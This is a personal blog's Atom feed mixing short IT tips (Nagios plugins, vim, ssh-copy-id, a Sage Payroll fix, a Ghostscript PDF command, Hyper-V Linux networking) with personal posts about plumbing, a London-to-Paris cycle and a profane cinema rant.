<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-18224401</id><updated>2012-01-26T18:17:21.695Z</updated><category term='keys'/><category term='fluff'/><category term='hair'/><category term='keycaps'/><category term='cleaning'/><category term='cheese'/><category term='macbook'/><title type='text'>What of IT?</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>72</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-18224401.post-161813437932089349</id><published>2011-12-07T15:57:00.001Z</published><updated>2011-12-07T15:57:44.614Z</updated><title type='text'>Barracuda Health Monitoring with Nagios</title><content type='html'>&lt;div class='posterous_autopost'&gt;Ive written a few plugins that check the health of a Barracuda SPF appliance. They&amp;#39;re in (bad) perl but seem to do the job pretty well&lt;div&gt;The first, to check the RPM of the CPU and System Fans has been accepted into the NagiosExchange site and is listed as:&lt;/div&gt; &lt;p /&gt;&lt;div&gt;&lt;a href="http://exchange.nagios.org/directory/Plugins/Hardware/Others/check_barracuda_fans/details"&gt;http://exchange.nagios.org/directory/Plugins/Hardware/Others/check_barracuda_fans/details&lt;/a&gt; &lt;/div&gt; &lt;p /&gt;&lt;div&gt;The others, which check the 3 mail queues, and the CPU temperature have been submitted but not yet approved.&lt;/div&gt;&lt;div&gt;I&amp;#39;ll update here when they are released.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-161813437932089349?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/161813437932089349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=161813437932089349' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/161813437932089349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/161813437932089349'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2011/12/barracuda-health-monitoring-with-nagios.html' title='Barracuda Health Monitoring with Nagios'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5179893012685110862</id><published>2011-11-22T09:25:00.001Z</published><updated>2011-11-22T09:25:05.381Z</updated><title type='text'>Changing default editor to vim</title><content type='html'>&lt;div class='posterous_autopost'&gt;&lt;div&gt;&lt;span style="color: rgb(51, 51, 51); font-size: 14px; line-height: 17px; background-color: rgb(249, 249, 249);"&gt;Run the command below: &lt;/span&gt;&lt;/div&gt; &lt;p /&gt;sudo update-alternatives --config editor&lt;p /&gt;&lt;div&gt;&lt;span style="color: rgb(51, 51, 51); font-size: 14px; line-height: 17px; background-color: rgb(249, 249, 249);"&gt;Then select vim.basic or vim.tiny from the menu presented&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5179893012685110862?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5179893012685110862/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5179893012685110862' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5179893012685110862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5179893012685110862'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2011/11/run-command-below-sudo-update.html' title='Changing default editor to vim'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-7155963922454953020</id><published>2011-11-21T16:36:00.001Z</published><updated>2011-11-21T16:36:07.739Z</updated><title type='text'>Copy SSH Key to Server in one command</title><content type='html'>&lt;div class='posterous_autopost'&gt;Use this technique to copy the SSH key and add it to the authorized_keys file in one command&lt;br /&gt;&lt;div&gt;&lt;span style="color: rgb(21, 140, 7); font-family: monospace; font-size: 12px;"&gt;ssh-copy-id -i .ssh/id_dsa.pub username@remotehost&lt;/span&gt;&lt;/div&gt; &lt;p /&gt;&lt;div&gt;&lt;span style="color: rgb(21, 140, 7); font-family: monospace; font-size: 12px;"&gt;Pop in your password and you&amp;#39;re done.&lt;/span&gt;&lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-7155963922454953020?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/7155963922454953020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=7155963922454953020' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7155963922454953020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7155963922454953020'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2011/11/use-this-technique-to-copy-ssh-key-and.html' title='Copy SSH Key to Server in one command'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-273082606180781913</id><published>2011-03-21T09:57:00.001Z</published><updated>2011-03-21T09:57:09.557Z</updated><title type='text'>Sage Payroll 2011 Won't Start</title><content type='html'>&lt;div class='posterous_autopost'&gt;Today I encountered a problem with Sage Payroll 2011 v17.00.029, when started, the program would display the splash screen and successfully run the first run wizard (asking for Company name, Address and Tax District to be used when creating defaults etc.)&lt;div&gt; Once this completed, the application appeared to close (which I assumed was normal). On next startup, it asked me to select the company I had created and login (using the default MANAGER account and no password), selecting this and the correct date for processing using the date picker, then clicking OK, the application then crashed out.&lt;/div&gt; &lt;p /&gt;&lt;div&gt;The solution to this was to change the region that the system was running under, I had accidentally set it to US using the unattended installation disc I created, setting this to UK and rebooting solved this problem and allowed the application to run successfully.&lt;/div&gt; &lt;p /&gt;&lt;div&gt;This can be diagnosed quite easily by inspecting the date format in the date picker textbox, i.e. today it should read 21/03/2011 but instead was reading 03/21/2011. I think this might be a design flaw in the Sage application as the date picker successfully calculated the week-end number (50 in this case) but was unable to execute the program. I believe that Sage have no intention to fix this as it would require a lot of effort for little reward so be careful if you are using a non-EU cloud service for your Infrastructure as a Service or if you have multiple geographic locations.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-273082606180781913?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/273082606180781913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=273082606180781913' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/273082606180781913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/273082606180781913'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2011/03/sage-payroll-2011-won-start.html' title='Sage Payroll 2011 Won&amp;#39;t Start'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5431476289081792182</id><published>2010-08-21T18:59:00.001Z</published><updated>2010-08-21T18:59:21.856Z</updated><title type='text'>Unprotect PDF Documents</title><content type='html'>&lt;div class='posterous_autopost'&gt;install GhostScript then run this command to unprotect PDF&lt;br /&gt;&lt;div&gt;gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf&lt;/div&gt;      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/unprotect-pdf-documents"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5431476289081792182?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5431476289081792182/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5431476289081792182' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5431476289081792182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5431476289081792182'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2010/08/unprotect-pdf-documents.html' title='Unprotect PDF Documents'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1825353031606475566</id><published>2010-08-18T08:17:00.001Z</published><updated>2010-08-18T08:17:18.577Z</updated><title type='text'>Linux Guest VMs on Windows Server 2008 R2 Hyper-V Failover Cluster</title><content type='html'>&lt;div class='posterous_autopost'&gt;If you are deploying any Linux VMs on a Windows Server 2008 R2 Hyper-V Failover Cluster (and I assume a Hyper-V R2 failover cluster) there is a problem I have  identified with them and their networking. I have replicated this on Debian Lenny and Red Hat so far.&lt;p /&gt;&lt;div&gt;If in your failover cluster, you have the node hosting the VMs fail, when they failover to another node in your cluster, you will lose networking on them. I believe that this is caused by the MAC address changing when they move over to the other node. Networking is not actually &amp;quot;lost&amp;quot; but the ethernet interface will have incremented, so eth0 will become eth1 assuming that you do not have an eth1 already, in this case I haven&amp;#39;t tested what happens yet. To solve this (on debian) you need to edit /etc/network/interfaces and change any references to the broken interface to be set to the new interface, identifiable by running ifconfig -a&lt;/div&gt; &lt;div&gt;Then execute ifup eth&amp;lt;new&amp;gt;, where &amp;lt;new&amp;gt; is the new number you found from ifconfig -a and set in /etc/network/interfaces.&lt;/div&gt;&lt;p /&gt;&lt;div&gt;I believe this problem is preventable by setting the MAC address(es) to be static in either SCVMM or in Hyper-V manager. If you are using Failover Clustering and especially if you are using Cluster Shared Volumes, I *strongly* recommend that you use SCVMM or the version of SCVMM found in System Centre Essentials 2010 Plus. It makes managing them a lot easier than using Failover Cluster Manager, and a lot safer than using Hyper-V Manager.&lt;/div&gt; &lt;p /&gt;&lt;div&gt;I am carrying out further tests on this configuration to see if only static MAC addressing is required or if MAC spoofing is also needed. Multiple interfaces will also be tested.&lt;/div&gt;&lt;p /&gt;&lt;div&gt; Hope this helps someone &lt;/div&gt;      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/linux-guest-vms-on-windows-server-2008-r2-hyp"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1825353031606475566?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1825353031606475566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1825353031606475566' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1825353031606475566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1825353031606475566'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2010/08/linux-guest-vms-on-windows-server-2008.html' title='Linux Guest VMs on Windows Server 2008 R2 Hyper-V Failover Cluster'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-3693566340721332373</id><published>2010-07-28T08:39:00.001Z</published><updated>2010-07-28T08:39:15.908Z</updated><title type='text'>Voice - Missing, Reward offered</title><content type='html'>&lt;div class='posterous_autopost'&gt;So this morning I&amp;#39;ve woken up and discovered that I&amp;#39;ve lost my voice. I have no idea what caused this as I didn&amp;#39;t do anything differently nor am I feeling any more unwell (I&amp;#39;ve had a bit of a cold but I don&amp;#39;t think that would do it)&lt;div&gt; &lt;br /&gt;&lt;div&gt;It&amp;#39;s quite a peculiar situation for me, when I&amp;#39;m talking to someone I can hear my proper (or at least my perception of it via bone conduction) voice in my head but what comes out is a complete whisper, I can raise my voice but it either feels like I&amp;#39;m shouting through treacle or leaves me exhausted.&lt;/div&gt; &lt;/div&gt;&lt;p /&gt;&lt;div&gt;So, if anyone phones me today I think I might just lay on some heavy breathing and make them think that they&amp;#39;ve gotten a wrong number.&lt;/div&gt;      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/voice-missing-reward-offered"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-3693566340721332373?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/3693566340721332373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=3693566340721332373' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3693566340721332373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3693566340721332373'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2010/07/voice-missing-reward-offered.html' title='Voice - Missing, Reward offered'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-3807557876505779928</id><published>2010-07-10T17:55:00.001Z</published><updated>2010-07-10T17:55:50.651Z</updated><title type='text'>Plumbing.</title><content type='html'>&lt;div class='posterous_autopost'&gt;Things I have learned today (or why I am damp and smell a bit like the &lt;br /&gt;plumbing counter at a building suppliers) &lt;p /&gt; 1. Some plumbing is easy. &lt;p /&gt; 2. I am better at plumbing than I thought. &lt;p /&gt; 3. Plumbing is called a wet trade for a reason. &lt;p /&gt; 4. Toilets are a *bastard* to work around &lt;p /&gt; 5. The plumber that fitted our house out is a moron who I will *drown* &lt;br /&gt;in what I had to take care of today if I ever meet him. &lt;p /&gt; 6. B&amp;Q staff know fuck all squared about plumbing. &lt;p /&gt; 7. My toilet now no longer leaks over the floor but it cost me £60 in &lt;br /&gt;parts and a tool to fix. &lt;p /&gt; 8. The smell at a plumbing counter at a builders suppliers is &lt;br /&gt;"Plumbers Mait" it's a sticky, never setting mastic compound that is &lt;br /&gt;waterproof and incredibly sticky. &lt;p /&gt; I am now quite pleased with myself and am having some hot tea to &lt;br /&gt;celebrate. I may or may not try to consume my own weight in Jaffa &lt;br /&gt;cakes.      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/plumbing-113"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-3807557876505779928?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/3807557876505779928/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=3807557876505779928' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3807557876505779928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/3807557876505779928'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2010/07/plumbing.html' title='Plumbing.'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-6075053884877948675</id><published>2009-07-30T09:53:00.001Z</published><updated>2009-07-30T09:53:37.910Z</updated><title type='text'>London to Paris Day 3 - The final leg</title><content type='html'>After having a very pleasant and pleasing day 2, day 3 started in a very similar manner, a bit cold but otherwise nice. &lt;div&gt;After cycling through a very sleepy village we came back out into the countryside and another few hill climbs. &lt;/div&gt;    &lt;div&gt;What made this a bit special was cresting the hill and seeing a hot air balloon, no wait 2, 4, 7. 7 hot air balloons all at different heights, just rising above the peaks of some hills in the distance, the sun still quite low in the sky and some mist on the ground. It was stunningly beautiful, like a postcard.&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;The first rest stop came up on me very unexpectedly, it felt like I had only started and it was already time for a break. A quick stop for more bananas, water, and some raisins and I was off again. Spent a lot of the morning alone, which was incredibly pleasing and relaxing, I was truly able to relax and not think about anything, just the mileage that I was covering as the road zipped past at what several months earlier would have been impossible speeds.&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;As I stopped for a breather, I neglected to look ahead at the hill that was approaching, otherwise I would have just powered on up it and kept up my momentum. As I was a silly daniel, I didn&amp;#39;t do this and had to walk for a bit after struggling with the first hundred feet or so. By stopping like this I was caught up by another rider, a girl from Italy who became a riding buddy for the next stage and a half. &lt;/div&gt;    &lt;div&gt;Whilst I was chatting to her I found out that I was the marker for several of the other riders and that they were trying to see who could keep up with me, I was easily spotted as for the 2nd day I had another brilliant white jersey on. The next rest stop also crept up on me and a pack formed as we waited for a few other riders that wanted to ride with us, for a bit of sport etc. I found this quite amusing and rode fairly close to the middle of the pack.&lt;/div&gt;    &lt;div&gt;Eventually I got tired of how slowly they were actually travelling as I found it quite fatiguing compared to travelling at what I called my &amp;quot;natural&amp;quot; pace so I zipped off ahead and left them to it. I must not be a very social person as I much preferred my own company and enjoyed the cycle much more. &lt;/div&gt;    &lt;p /&gt;&lt;div&gt;The route took an unexpected turn and we ended up on very hilly terrain, I started to struggle a lot having wasted a lot of energy getting back up to speed after exerting myself by pootling along at a very inefficient (for me) pace.&lt;/div&gt;    &lt;div&gt;The hills became daunting and at every part of the road it felt like the bike was being pulled down into the road and it took incredible exertion in order to make it move, on one hill I had to get off and push it to the top.&lt;/div&gt;    &lt;div&gt;I thought I wasn&amp;#39;t going to make it and that the next rest stop couldn&amp;#39;t come soon enough. This was, as usual at the top of a hill. When I stopped here, I grabbed whatever food was available, it was getting more and more scarce as the tour was coming to an end and they had calculated it reasonably accurately.&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;I was egged on and left, knowing that there was an &amp;quot;epic&amp;quot; (their words, not mine) climb before lunch. This had me demoralised a bit, but a quick downhill blast on good tarmac cheered me up no end and we were soon back on the flat. I kept a lookout for anything that looked even similar to Paris but nothing appeared. &lt;/div&gt;    &lt;div&gt;The climb that was described as epic actually fitted the description, it was a series of alpine style hairpins that ascended about a thousand feet over the course of about 6 miles. For some reason I had no problem with this climb and the scenery was, as I am sure you are sick of hearing, beautiful. There was an almost middle eastern feel about it, lots of red rock (that I am assuming was sandstone) and an incredible heat, apparently one of the other riders clocked it at 38oC.&lt;/div&gt;    &lt;div&gt;We arrived into a small city/large town and circled around what I am assuming was the outside of the city centre, lunch was at a golf course on the outskirts and was delicious (do you sense a recurring theme here?) and much appreciated even though the service was a bit disorganised.&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;During lunch there was a mini-briefing about what we were going to do that afternoon, especially with the entrance into Paris. After this, we all set off, largely as one unit and set about making it to the first stop, where we would regroup and set off again as one unit so that our entry to Paris was more condensed and organised, rather than very spread out as it had been over the previous days and rest stops.&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;The first hill was quite long and steep but nothing too stressful, what followed was a very steep and hairy descent through a village that must have been superglued to the side of a hill and had quite a few cobbled sections. Now as you can imagine, cobbles on a bike are bad, cobbles on a road bike, with high pressure skinny tires, no suspension and a saddle that felt like it was carved out of rock was pretty bad. Especially if your arse is already busted after a fall and 2 days of cycling on same saddle.&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;The regouping point was in a forest with a cycle lane through it, again very very pretty. Fruit was getting very low and had to make do with 2 scabby bananas and a half handful of the ever present raisins. Setting off together we were finally on the outskirts of Paris, this leg was a bit stressful and tougher than it could have been as there was a lot of jockeying for position nearer the front, lots and lots of traffic lights and a general uphill grind. As is usual with uphill sections, there is a downhill section that followed, made all the more interesting by the traffic, which being Paris at about 3.30 was backed up, overtaking cars on a downhill section with less than useful brakes and even less useful common sense is not to be recommended. It is however incredibly exhilarating and something you should probably do once at least (you may only get to do it once as it could be your last)&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;We grouped up once again at the Bois Du Boulogne, in paris traffic proper. This was to be our final stop before the Eiffel tower. This was an interesting leg navigation wise as there was a bunch of 80 tired cyclists, Parisian traffic, Parisian streets and a lack of signage. We all managed to make it through without much incident, I think one woman managed to hit a parked car and fall off but that was about it. We came down a hill and in front of us was it. The Eiffel tower, we had made it. It was an absolute site to behold and there was much ringing of the bicycle bells. It didn&amp;#39;t quite stop there however, as we had to cycle around it, staying on the road until the entrance to the grassy area at the back. Upon arrival bicycles were promptly dumped on the grass and Champagne was distributed (well sparking wine that was quite warm)&lt;/div&gt;    &lt;p /&gt;&lt;div&gt;After being chased off the grass by the park warden and interrupting someones wedding photos (very very very sorry about that) we had to get back on the bikes once more and head to the hotel. The bikes were popped into the back of a van and that was the last that we heard of them. &lt;/div&gt;    &lt;div&gt;And as luck may have it, that is the last that you will hear about the London to Paris cycle on this blog, unless of course I change my mind and decide to do it again.&lt;/div&gt;      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/london-to-paris-day-3-the-final-leg"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;    &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-6075053884877948675?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/6075053884877948675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=6075053884877948675' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6075053884877948675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/6075053884877948675'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/07/london-to-paris-day-3-final-leg.html' title='London to Paris Day 3 - The final leg'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-3885103693913120154</id><published>2009-07-16T11:54:00.001Z</published><updated>2009-07-16T11:54:35.152Z</updated><title type='text'>Trip To The Cinema</title><content type='html'>So last night, my wife, her nephew and myself decided to go to the cinema and catch the latest Harry Potter, it should have been a relatively painless experience but turned out to be very far from the truth.&lt;div&gt;&lt;br /&gt;&lt;div&gt;Whilst the cinematic experience was in itself perfectly satisfactory, a good film, no interruptions in viewing by the projectionist, sound direction and levels all nicely set etc. The actual cinema experience left an awful lot to be desired.&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Firstly and most importantly was the other patrons of the cinema, I was abused verbally and physically in the queue. I had to actually push someone back and basically tell them that if they didn&amp;#39;t move their fucking heffalump arse I would move it for them. we had decent seats (i.e. not craning up or to either side to see the screen) but this had the effect of being right at the aisle, if one fucker went up and down those stairs 20 of them did. &lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And what the fuck is it with the mobile phones? Do they have to have 12 million candela screens? Jesus H Christ, the guy in front of me actually answered his phone with &amp;quot;No I can&amp;#39;t talk, I&amp;#39;m in the cinema&amp;quot; then proceeded to have a 5 minute conversation. Take that shit outside, you aren&amp;#39;t that fucking important (believe me, he was no brain surgeon)&lt;/div&gt;    &lt;div&gt;Every 30 seconds some cuntbag in my field of vision had their phone out and I was half blinded. Yes, you iPhone users as well, turn the fucking brightness down if you feel the need to use it in a very dark room. The only time I had my phone out was to make sure that it was on silent and that I had turned the vibrate off, does no one have any consideration for the other poor bastards that paid £6 for their tickets?&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Secondly is the price. Last night cost about £35 all told for 3 people, a bag of sweets and a medium coke each. £35... I&amp;#39;m sorry but for £35 I would rather get a bluray disc, load it up into my excellent cinema system and have a few beers/ciders out of a &lt;i&gt;Glass&lt;/i&gt;. It&amp;#39;s no bloody wonder I don&amp;#39;t go to the cinema anymore and paid out reasonable money for good kit at home. I&amp;#39;m just going to wait for stuff to hit bluray (or a HD Download :) ) and watch it there.&lt;/div&gt;    &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So all you inconsiderate cinema users, you can all go and fuck off.&lt;/div&gt;&lt;/div&gt;      &lt;p style="font-size: 10px;"&gt;  &lt;a href="http://posterous.com"&gt;Posted via email&lt;/a&gt;   from &lt;a href="http://danmacs.posterous.com/trip-to-the-cinema"&gt;Daniel's posterous&lt;/a&gt;  &lt;/p&gt;    &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-3885103693913120154?l=danmacs.blogspot.com' alt='' 